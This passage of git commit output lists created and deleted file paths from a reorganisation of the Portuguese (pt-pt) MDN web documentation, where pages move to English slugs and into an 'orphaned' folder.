files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html delete mode 100644 files/pt-pt/learn/html/multimedia_and_embedding/pagina_de_boas_vindas_da_mozilla/index.html create mode 100644 files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html delete mode 100644 "files/pt-pt/learn/html/multimedia_e_integracao/conteudo_de_audio_e_v\303\255deo/index.html" delete mode 100644 files/pt-pt/learn/html/multimedia_e_integracao/index.html create mode 100644 files/pt-pt/learn/html/tables/advanced/index.html delete mode 100644 files/pt-pt/learn/html/tables/avaliacao_estruturar_os_dados_dos_planetas/index.html delete mode 100644 files/pt-pt/learn/html/tables/avancada/index.html delete mode 100644 files/pt-pt/learn/html/tables/basicos/index.html create mode 100644 files/pt-pt/learn/html/tables/basics/index.html create mode 100644 files/pt-pt/learn/html/tables/structuring_planet_data/index.html create mode 100644 files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html create mode 100644 files/pt-pt/learn/javascript/first_steps/index.html delete mode 100644 files/pt-pt/learn/javascript/primeiros_passos/index.html delete mode 100644 files/pt-pt/learn/no-servidor/django/index.html delete mode 100644 files/pt-pt/learn/no-servidor/express_nodejs/configurar_um_meio_de_desenvolvimento_node/index.html delete mode 100644 files/pt-pt/learn/no-servidor/express_nodejs/index.html delete mode 100644 files/pt-pt/learn/no-servidor/express_nodejs/introduction/index.html delete mode 100644 files/pt-pt/learn/no-servidor/index.html delete mode 100644 files/pt-pt/learn/no-servidor/servidor_node_sem_framework/index.html delete mode 100644 files/pt-pt/learn/questoes_comuns/como_funciona_a_internet/index.html delete mode 100644 files/pt-pt/learn/questoes_comuns/congiurar_um_servidor_de_testes_local/index.html delete mode 100644 files/pt-pt/learn/questoes_comuns/index.html delete mode 100644 files/pt-pt/learn/questoes_comuns/o_que_e_um_nome_de_dominio/index.html delete mode 100644 files/pt-pt/learn/questoes_comuns/o_que_e_um_servidor_da_web/index.html delete mode 100644 files/pt-pt/learn/questoes_comuns/o_que_e_um_url/index.html delete mode 100644 files/pt-pt/learn/questoes_comuns/qual_e_a_diferenca_entre_pagina_site_servidor_da_web_e_mecanismo_pesquisa/index.html create mode 100644 files/pt-pt/learn/server-side/django/index.html create mode 100644 files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html create mode 100644 files/pt-pt/learn/server-side/express_nodejs/index.html create mode 100644 files/pt-pt/learn/server-side/express_nodejs/introduction/index.html create mode 100644 files/pt-pt/learn/server-side/index.html create mode 100644 files/pt-pt/learn/server-side/node_server_without_framework/index.html create mode 100644 files/pt-pt/learn/tools_and_testing/cross_browser_testing/accessibility/index.html create mode 100644 files/pt-pt/learn/tools_and_testing/cross_browser_testing/index.html delete mode 100644 files/pt-pt/learn/tools_and_testing/teste_cruzado_de_navegador/acessibilidade/index.html delete mode 100644 files/pt-pt/learn/tools_and_testing/teste_cruzado_de_navegador/index.html delete mode 100644 "files/pt-pt/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" delete mode 100644 "files/pt-pt/localiza\303\247\303\243o/index.html" delete mode 100644 files/pt-pt/manipuladores_de_protocolo_web/index.html create mode 100644 files/pt-pt/mdn/about/index.html create mode 100644 files/pt-pt/mdn/at_ten/history_of_mdn/index.html create mode 100644 files/pt-pt/mdn/at_ten/index.html delete mode 100644 "files/pt-pt/mdn/comunidade/conversa\303\247\303\265es/index.html" delete mode 100644 files/pt-pt/mdn/comunidade/doc_sprints/index.html delete mode 100644 files/pt-pt/mdn/comunidade/index.html delete mode 100644 "files/pt-pt/mdn/comunidade/o_que_est\303\241_a_acontecer/index.html" delete mode 100644 files/pt-pt/mdn/comunidade/trabalhar_em_comunidade/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/como_converter_exemplos_de_codigo_para_ficarem_live/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/como_definir_o_resumo_para_uma_pagina/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/como_efetuar_revisao_tecnica/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_web/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/como_escrever_uma_nova_entrada_no_glossario/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/comunicar_um_problema/index.html create mode 100644 files/pt-pt/mdn/contribute/howto/convert_code_samples_to_be_live/index.html create mode 100644 files/pt-pt/mdn/contribute/howto/create_and_edit_pages/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/criar_e_editar_paginas/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/criar_uma_conta_mdn/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/etiqueta/index.html delete mode 100644 "files/pt-pt/mdn/contribute/howto/fazer_revis\303\243o_editorial/index.html" delete mode 100644 files/pt-pt/mdn/contribute/howto/marcar_paginas_javascript/index.html delete mode 100644 files/pt-pt/mdn/contribute/howto/participar_testes_beta/index.html create mode 100644 files/pt-pt/mdn/contribute/howto/report_a_problem/index.html create mode 100644 files/pt-pt/mdn/contribute/howto/tag/index.html create mode 100644 files/pt-pt/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html create mode 100644 files/pt-pt/mdn/contribute/howto/write_an_api_reference/sidebars/index.html delete mode 100644 files/pt-pt/mdn/editor/basicos/index.html delete mode 100644 files/pt-pt/mdn/editor/index.html delete mode 100644 files/pt-pt/mdn/guidelines/convencoes_definicoes/index.html create mode 100644 files/pt-pt/mdn/guidelines/conventions_definitions/index.html create mode 100644 files/pt-pt/mdn/guidelines/does_this_belong_on_mdn/index.html delete mode 100644 files/pt-pt/mdn/guidelines/guia_de_estilo_de_escrita/index.html delete mode 100644 files/pt-pt/mdn/guidelines/isto_pertence_a_mdn/index.html create mode 100644 files/pt-pt/mdn/guidelines/writing_style_guide/index.html delete mode 100644 files/pt-pt/mdn/kuma/index.html delete mode 100644 files/pt-pt/mdn/sobre/index.html delete mode 100644 files/pt-pt/mdn/structures/api_references/barras_laterais_de_referencia_da_api/index.html delete mode 100644 files/pt-pt/mdn/structures/api_references/index.html delete mode 100644 files/pt-pt/mdn/structures/api_references/o_que_e_que_uma_referencia_de_api_precisa/index.html delete mode 100644 files/pt-pt/mdn/structures/exemplos_live/index.html create mode 100644 files/pt-pt/mdn/structures/live_samples/index.html delete mode 100644 "files/pt-pt/mdn/tools/edi\303\247\303\243o_de_modelo/index.html" delete mode 100644 files/pt-pt/mdn/tools/vigiar_pagina/index.html delete mode 100644 files/pt-pt/mdn/troubleshooting/index.html create mode 100644 files/pt-pt/mdn/yari/index.html delete mode 100644 files/pt-pt/mdn_at_ten/contribuir_para_mdn/index.html delete mode 100644 files/pt-pt/mdn_at_ten/historia_da_mdn/index.html delete mode 100644 files/pt-pt/mdn_at_ten/index.html delete mode 100644 files/pt-pt/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/a_sua_primeira_extensao/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/a_sua_segunda_extensao/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/anatomia_de_uma_extensao/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/armazenamento/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/devtools.panels/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/devtools/panels/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/api/storage/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/as_melhores_praticas_de_experiencia_do_utilizador/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/browser_support_for_javascript_apis/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/content_scripts/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/conversao_de_uma_extensao_legada_do_firefox/index.html delete mode 100644 "files/pt-pt/mozilla/add-ons/webextensions/dubla_padr\303\265es/index.html" delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/e_a_seguir/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/examples/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/exemplos_extensoes/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/extending_the_developer_tools/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/extennsoesweb_e_a_id_do_extra/index.html delete mode 100644 "files/pt-pt/mozilla/add-ons/webextensions/extens\303\243o_das_ferramentas_de_desenvolvimento/index.html" delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/instalacao_temporaria_no_firefox/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/intercept_http_requests/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/interceptar_pedidos_http/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/acoes_pagina/index.html delete mode 100644 "files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/a\303\247\303\243o_navegador/index.html" delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/barras_laterais/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/devtools_panels/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/estilos_de_navegador/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/itens_do_menu_de_contexto/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/notificacoes/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/omnibox/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/options_pages/index.html delete mode 100644 "files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/paginas_de_extens\303\243o/index.html" delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/interface_do_utilizador/popups/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icones/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/manifest.json/icons/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/match_patterns/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/o_que_sao_webextensions/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/primeiros_passos_com_web-ext/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/publicar_a_sua_extensao/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/scripts_conteudo/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/suporte_navegador_apis_javascript/index.html delete mode 100644 files/pt-pt/mozilla/add-ons/webextensions/trasnsferir_extensao_google_chrome/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_action/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/browser_styles/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/context_menu_items/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/devtools_panels/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/extension_pages/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/notifications/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/omnibox/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/options_pages/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/page_actions/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/popups/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/user_interface/sidebars/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/what_are_webextensions/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/what_next_/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/your_first_webextension/index.html create mode 100644 files/pt-pt/mozilla/add-ons/webextensions/your_second_webextension/index.html create mode 100644 files/pt-pt/mozilla/developer_guide/index.html create mode 100644 files/pt-pt/mozilla/firefox/releases/1.5/index.html create mode 100644 files/pt-pt/mozilla/firefox/releases/2/index.html create mode 100644 files/pt-pt/mozilla/firefox/releases/3.5/index.html create mode 100644 files/pt-pt/mozilla/firefox/releases/3.5/updating_extensions/index.html create mode 100644 files/pt-pt/mozilla/firefox/releases/3.6/index.html create mode 100644 files/pt-pt/mozilla/firefox/releases/3/site_compatibility/index.html create mode 100644 files/pt-pt/mozilla/firefox/releases/3/updating_extensions/index.html create mode 100644 files/pt-pt/mozilla/firefox/releases/4/index.html create mode 100644 files/pt-pt/mozilla/firefox/releases/5/index.html create mode 100644 files/pt-pt/mozilla/firefox/releases/6/index.html delete mode 100644 "files/pt-pt/mudan\303\247as_no_gecko_1.9_que_afetam_websites/index.html" delete mode 100644 files/pt-pt/o_dom_e_o_javascript/index.html create mode 100644 "files/pt-pt/orphaned/acentua\303\247\303\243o_para_conte\303\272dos_carregados_por_ajax/index.html" create mode 100644 files/pt-pt/orphaned/componentes/index.html create mode 100644 "files/pt-pt/orphaned/configurando_um_servidor_de_atualiza\303\247\303\243o/index.html" create mode 100644 "files/pt-pt/orphaned/construir_uma_extens\303\243o/index.html" create mode 100644 files/pt-pt/orphaned/controles_xul/index.html create mode 100644 files/pt-pt/orphaned/criando_um_visual_para_o_firefox/index.html create mode 100644 files/pt-pt/orphaned/criar_uma_pele_para_o_firefox/index.html create mode 100644 files/pt-pt/orphaned/desenhando_texto_usando_canvas/index.html create mode 100644 "files/pt-pt/orphaned/faq_extens\303\265es/index.html" create mode 100644 files/pt-pt/orphaned/firefox_3_para_desenvolvedores/index.html create mode 100644 "files/pt-pt/orphaned/java_em_extens\303\265es_do_firefox/index.html" create mode 100644 files/pt-pt/orphaned/javascript_orientado_a_objetos/index.html create mode 100644 files/pt-pt/orphaned/learn/html/forms/html5_updates/index.html create mode 100644 "files/pt-pt/orphaned/localizar_descri\303\247\303\265es_de_extens\303\265es/index.html" create mode 100644 files/pt-pt/orphaned/manipuladores_de_protocolo_web/index.html create mode 100644 files/pt-pt/orphaned/mdn/community/conversations/index.html create mode 100644 files/pt-pt/orphaned/mdn/community/doc_sprints/index.html create mode 100644 files/pt-pt/orphaned/mdn/community/index.html create mode 100644 files/pt-pt/orphaned/mdn/community/whats_happening/index.html create mode 100644 files/pt-pt/orphaned/mdn/community/working_in_community/index.html create mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html create mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html create mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html create mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html create mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html create mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html create mode 100644 files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html create mode 100644 files/pt-pt/orphaned/mdn/editor/basics/index.html create mode 100644 files/pt-pt/orphaned/mdn/editor/index.html create mode 100644 files/pt-pt/orphaned/mdn/structures/api_references/index.html create mode 100644 files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html create mode 100644 files/pt-pt/orphaned/mdn/tools/page_watching/index.html create mode 100644 files/pt-pt/orphaned/mdn/tools/template_editing/index.html create mode 100644 files/pt-pt/orphaned/mdn/troubleshooting/index.html create mode 100644 files/pt-pt/orphaned/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html create mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/getting_started_with_web-ext/index.html create mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/package_your_extension_/index.html create mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_google_chrome_extension/index.html create mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/porting_a_legacy_firefox_add-on/index.html create mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/temporary_installation_in_firefox/index.html create mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/user_experience_best_practices/index.html create mode 100644 files/pt-pt/orphaned/mozilla/add-ons/webextensions/webextensions_and_the_add-on_id/index.html create mode 100644 files/pt-pt/orphaned/o_dom_e_o_javascript/index.html create mode 100644 files/pt-pt/orphaned/plugins/flash_activation_colon__browser_comparison/index.html create mode 100644 "files/pt-pt/orphaned/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" create mode 100644 "files/pt-pt/orphaned/refer\303\252ncia_jsdbgapi/index.html" create mode 100644 files/pt-pt/orphaned/sobre_o_document_object_model/index.html create mode 100644 files/pt-pt/orphaned/tinderbox/index.html create mode 100644 files/pt-pt/orphaned/toolkit_api/index.html create mode 100644 files/pt-pt/orphaned/tools/add-ons/dom_inspector/index.html create mode 100644 files/pt-pt/orphaned/tools/add-ons/dom_inspector/introduction_to_dom_inspector/index.html create mode 100644 files/pt-pt/orphaned/tools/add-ons/index.html create mode 100644 files/pt-pt/orphaned/transformar_xml_com_xslt/index.html create mode 100644 files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html create mode 100644 files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html create mode 100644 files/pt-pt/orphaned/tutorial_do_canvas/index.html create mode 100644 "files/pt-pt/orphaned/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" create mode 100644 "files/pt-pt/orphaned/tutorial_xul/adicionando_bot\303\265es/index.html" create mode 100644 files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html create mode 100644 files/pt-pt/orphaned/tutorial_xul/index.html create mode 100644 "files/pt-pt/orphaned/tutorial_xul/introdu\303\247\303\243o/index.html" create mode 100644 files/pt-pt/orphaned/um_pequeno_exemplo_usando_ajax/index.html create mode 100644 "files/pt-pt/orphaned/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" create mode 100644 "files/pt-pt/orphaned/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" create mode 100644 files/pt-pt/orphaned/utilizando_meta_tags/index.html create mode 100644 files/pt-pt/orphaned/venkman/index.html create mode 100644 "files/pt-pt/orphaned/web/css/como_come\303\247ar/o_que_\303\251_css_question_/index.html" create mode 100644 files/pt-pt/orphaned/web/javascript/guia/expressoes_e_operadores/index.html create mode 100644 "files/pt-pt/orphaned/web/javascript/guia/introdu\303\247\303\243o_ao_javascript/index.html" create mode 100644 files/pt-pt/orphaned/web/javascript/guia/sobre/index.html create mode 100644 "files/pt-pt/orphaned/web/javascript/guia/valores,_vari\303\241veis_e_literais/index.html" create mode 100644 "files/pt-pt/orphaned/web/javascript/o_que_\303\251_o_javascript/index.html" create mode 100644 files/pt-pt/orphaned/web/javascript/reference/global_objects/asyncfunction/prototype/index.html create mode 100644 files/pt-pt/orphaned/web/xslt/comunidade/index.html create mode 100644 files/pt-pt/orphaned/web/xslt/elementos/index.html create mode 100644 files/pt-pt/orphaned/xforms/controles_customizados/index.html create mode 100644 files/pt-pt/orphaned/xforms/index.html create mode 100644 files/pt-pt/orphaned/xforms_especiais_para_mozilla/index.html create mode 100644 files/pt-pt/orphaned/xml_no_mozilla/index.html create mode 100644 files/pt-pt/orphaned/xpath/eixos/index.html create mode 100644 "files/pt-pt/orphaned/xpath/fun\303\247\303\265es/index.html" delete mode 100644 files/pt-pt/plugins/ativacao_de_flash_colon__comparacao_de_navegador/index.html delete mode 100644 files/pt-pt/plugins/flash_para_html5/index.html create mode 100644 files/pt-pt/plugins/flash_to_html5/index.html delete mode 100644 "files/pt-pt/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" delete mode 100644 "files/pt-pt/refer\303\252ncia_jsdbgapi/index.html" delete mode 100644 files/pt-pt/sobre_o_document_object_model/index.html delete mode 100644 files/pt-pt/tinderbox/index.html delete mode 100644 files/pt-pt/toolkit_api/index.html delete mode 100644 files/pt-pt/tools/add-ons/index.html delete mode 100644 files/pt-pt/tools/atalhos_de_teclado/index.html delete mode 100644 files/pt-pt/tools/capturas_de_ecra/index.html delete mode 100644 "files/pt-pt/tools/configura\303\247\303\265es/index.html" delete mode 100644 files/pt-pt/tools/consola_da_web/abertura_consola_web/index.html delete mode 100644 files/pt-pt/tools/consola_da_web/ajuda/index.html delete mode 100644 files/pt-pt/tools/consola_da_web/atalhos_teclado/index.html delete mode 100644 files/pt-pt/tools/consola_da_web/dividir_consola/index.html delete mode 100644 files/pt-pt/tools/consola_da_web/index.html delete mode 100644 files/pt-pt/tools/consola_da_web/mensagens_consola/index.html delete mode 100644 files/pt-pt/tools/consola_da_web/o_interprete_da_linha_de_comandos/index.html delete mode 100644 files/pt-pt/tools/consola_da_web/rich_output/index.html delete mode 100644 files/pt-pt/tools/debugger/demonstracao_iu/index.html delete mode 100644 files/pt-pt/tools/debugger/how_to/abrir_o_depurador/index.html create mode 100644 files/pt-pt/tools/debugger/how_to/open_the_debugger/index.html create mode 100644 files/pt-pt/tools/debugger/ui_tour/index.html delete mode 100644 files/pt-pt/tools/desempenho/arvore_de_chamada/index.html delete mode 100644 files/pt-pt/tools/desempenho/cascata/index.html delete mode 100644 files/pt-pt/tools/desempenho/como_fazer/index.html delete mode 100644 files/pt-pt/tools/desempenho/frame_rate/index.html delete mode 100644 files/pt-pt/tools/desempenho/index.html delete mode 100644 files/pt-pt/tools/editor_de_audio_da_web/index.html delete mode 100644 files/pt-pt/tools/editor_de_estilo/index.html delete mode 100644 files/pt-pt/tools/inspetor_de_armazenamento/index.html create mode 100644 files/pt-pt/tools/keyboard_shortcuts/index.html delete mode 100644 files/pt-pt/tools/memoria/index.html create mode 100644 files/pt-pt/tools/memory/index.html delete mode 100644 files/pt-pt/tools/modo_de_desenho_adaptavel/index.html delete mode 100644 files/pt-pt/tools/page_inspector/atalhos_de_teclado/index.html delete mode 100644 files/pt-pt/tools/page_inspector/guia_de_iu/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/abrir_o_inspetor/index.html create mode 100644 files/pt-pt/tools/page_inspector/how_to/edit_fonts/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/examinar_e_editar_css/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/examinar_e_editar_o_modelo_de_caixa/index.html create mode 100644 files/pt-pt/tools/page_inspector/how_to/examine_and_edit_css/index.html create mode 100644 files/pt-pt/tools/page_inspector/how_to/examine_and_edit_the_box_model/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/inspecionar_e_selecionar_cores/index.html create mode 100644 files/pt-pt/tools/page_inspector/how_to/inspect_and_select_colors/index.html create mode 100644 files/pt-pt/tools/page_inspector/how_to/open_the_inspector/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/reposicao_de_elementos_na_pagina/index.html create mode 100644 files/pt-pt/tools/page_inspector/how_to/reposition_elements_in_the_page/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/trabalhar_com_animacoes/index.html create mode 100644 files/pt-pt/tools/page_inspector/how_to/use_the_inspector_api/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/utilizar_a_api_do_inspetor/index.html delete mode 100644 files/pt-pt/tools/page_inspector/how_to/visualizar_tipos_de_letra/index.html create mode 100644 files/pt-pt/tools/page_inspector/how_to/work_with_animations/index.html create mode 100644 files/pt-pt/tools/page_inspector/keyboard_shortcuts/index.html create mode 100644 files/pt-pt/tools/page_inspector/ui_tour/index.html create mode 100644 files/pt-pt/tools/performance/call_tree/index.html create mode 100644 files/pt-pt/tools/performance/frame_rate/index.html delete mode 100644 files/pt-pt/tools/performance/guia_da_iu/index.html create mode 100644 files/pt-pt/tools/performance/how_to/index.html create mode 100644 files/pt-pt/tools/performance/index.html create mode 100644 files/pt-pt/tools/performance/ui_tour/index.html create mode 100644 files/pt-pt/tools/performance/waterfall/index.html delete mode 100644 files/pt-pt/tools/remote_debugging/depuracao_remota_thunderbird/index.html create mode 100644 files/pt-pt/tools/remote_debugging/thunderbird/index.html create mode 100644 files/pt-pt/tools/responsive_design_mode/index.html create mode 100644 files/pt-pt/tools/settings/index.html create mode 100644 files/pt-pt/tools/storage_inspector/index.html create mode 100644 files/pt-pt/tools/style_editor/index.html create mode 100644 files/pt-pt/tools/taking_screenshots/index.html create mode 100644 files/pt-pt/tools/web_audio_editor/index.html create mode 100644 files/pt-pt/tools/web_console/console_messages/index.html create mode 100644 files/pt-pt/tools/web_console/helpers/index.html create mode 100644 files/pt-pt/tools/web_console/index.html create mode 100644 files/pt-pt/tools/web_console/keyboard_shortcuts/index.html create mode 100644 files/pt-pt/tools/web_console/rich_output/index.html create mode 100644 files/pt-pt/tools/web_console/split_console/index.html create mode 100644 files/pt-pt/tools/web_console/the_command_line_interpreter/index.html create mode 100644 files/pt-pt/tools/web_console/ui_tour/index.html delete mode 100644 files/pt-pt/transformar_xml_com_xslt/index.html delete mode 100644 files/pt-pt/transformar_xml_com_xslt/para_leitura_adicional/index.html delete mode 100644 files/pt-pt/tutorial_do_canvas/formas_de_desenho/index.html delete mode 100644 files/pt-pt/tutorial_do_canvas/index.html delete mode 100644 "files/pt-pt/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" delete mode 100644 "files/pt-pt/tutorial_xul/adicionando_bot\303\265es/index.html" delete mode 100644 files/pt-pt/tutorial_xul/criando_uma_janela/index.html delete mode 100644 files/pt-pt/tutorial_xul/index.html delete mode 100644 "files/pt-pt/tutorial_xul/introdu\303\247\303\243o/index.html" delete mode 100644 files/pt-pt/um_pequeno_exemplo_usando_ajax/index.html delete mode 100644 "files/pt-pt/usando_privil\303\251gios_expandidos_em_navegadores_mozilla/index.html" delete mode 100644 "files/pt-pt/usando_\303\241udio_e_v\303\255deo_no_firefox/index.html" delete mode 100644 files/pt-pt/using_the_w3c_dom_level_1_core/index.html delete mode 100644 files/pt-pt/utilizando_meta_tags/index.html delete mode 100644 files/pt-pt/venkman/index.html delete mode 100644 files/pt-pt/web/accessibility/aria/aria_techniques/usando_o_role_status/index.html create mode 100644 files/pt-pt/web/accessibility/aria/aria_techniques/using_the_status_role/index.html create mode 100644 files/pt-pt/web/accessibility/aria/index.html create mode 100644 files/pt-pt/web/accessibility/index.html delete mode 100644 files/pt-pt/web/acessibilidade/aria/index.html delete mode 100644 files/pt-pt/web/acessibilidade/index.html create mode 100644 files/pt-pt/web/api/ambient_light_events/index.html delete mode 100644 files/pt-pt/web/api/api_armazenamento/index.html delete mode 100644 files/pt-pt/web/api/api_autenticacao_web/index.html delete mode 100644 files/pt-pt/web/api/api_de_armazenamento_da_web/index.html delete mode 100644 files/pt-pt/web/api/api_de_canvas/index.html delete mode 100644 files/pt-pt/web/api/api_de_canvas/tutorial/index.html delete mode 100644 files/pt-pt/web/api/api_do_estado_da_bateria/index.html delete mode 100644 files/pt-pt/web/api/api_entradas_de_diretoria_e_ficheiro/index.html delete mode 100644 files/pt-pt/web/api/api_transmissoes_multimedia/index.html delete mode 100644 files/pt-pt/web/api/api_webrtc/index.html delete mode 100644 files/pt-pt/web/api/api_webrtc/tirar_fotografias/index.html create mode 100644 files/pt-pt/web/api/battery_status_api/index.html create mode 100644 files/pt-pt/web/api/canvas_api/index.html create mode 100644 files/pt-pt/web/api/canvas_api/tutorial/index.html delete mode 100644 files/pt-pt/web/api/document.dir/index.html create mode 100644 files/pt-pt/web/api/document/alinkcolor/index.html create mode 100644 files/pt-pt/web/api/document/bgcolor/index.html create mode 100644 files/pt-pt/web/api/document/cookie/index.html create mode 100644 files/pt-pt/web/api/document/dir/index.html create mode 100644 files/pt-pt/web/api/document/getelementsbyclassname/index.html create mode 100644 files/pt-pt/web/api/document_object_model/index.html create mode 100644 files/pt-pt/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html create mode 100644 files/pt-pt/web/api/element/clientleft/index.html create mode 100644 files/pt-pt/web/api/element/clienttop/index.html create mode 100644 files/pt-pt/web/api/element/index.html delete mode 100644 files/pt-pt/web/api/eventos_de_luz_ambiente/index.html create mode 100644 files/pt-pt/web/api/file_and_directory_entries_api/index.html create mode 100644 files/pt-pt/web/api/filesystem/index.html delete mode 100644 files/pt-pt/web/api/geolocation/utilizacao_da_geolocalizacao/index.html create mode 100644 files/pt-pt/web/api/geolocation_api/index.html create mode 100644 files/pt-pt/web/api/media_streams_api/index.html delete mode 100644 files/pt-pt/web/api/metadados/index.html create mode 100644 files/pt-pt/web/api/metadata/index.html delete mode 100644 files/pt-pt/web/api/navigatoronline/eventos_online_e_offline/index.html create mode 100644 files/pt-pt/web/api/navigatoronline/online_and_offline_events/index.html create mode 100644 files/pt-pt/web/api/node/appendchild/index.html create mode 100644 files/pt-pt/web/api/node/clonenode/index.html create mode 100644 files/pt-pt/web/api/node/insertbefore/index.html create mode 100644 files/pt-pt/web/api/notifications_api/using_the_notifications_api/index.html delete mode 100644 "files/pt-pt/web/api/notifications_api/utilizar_api_notifica\303\247\303\265es/index.html" create mode 100644 files/pt-pt/web/api/selection/index.html delete mode 100644 files/pt-pt/web/api/sistema_de_ficheiros/index.html create mode 100644 files/pt-pt/web/api/storage_api/index.html create mode 100644 files/pt-pt/web/api/web_audio_api/using_web_audio_api/index.html delete mode 100644 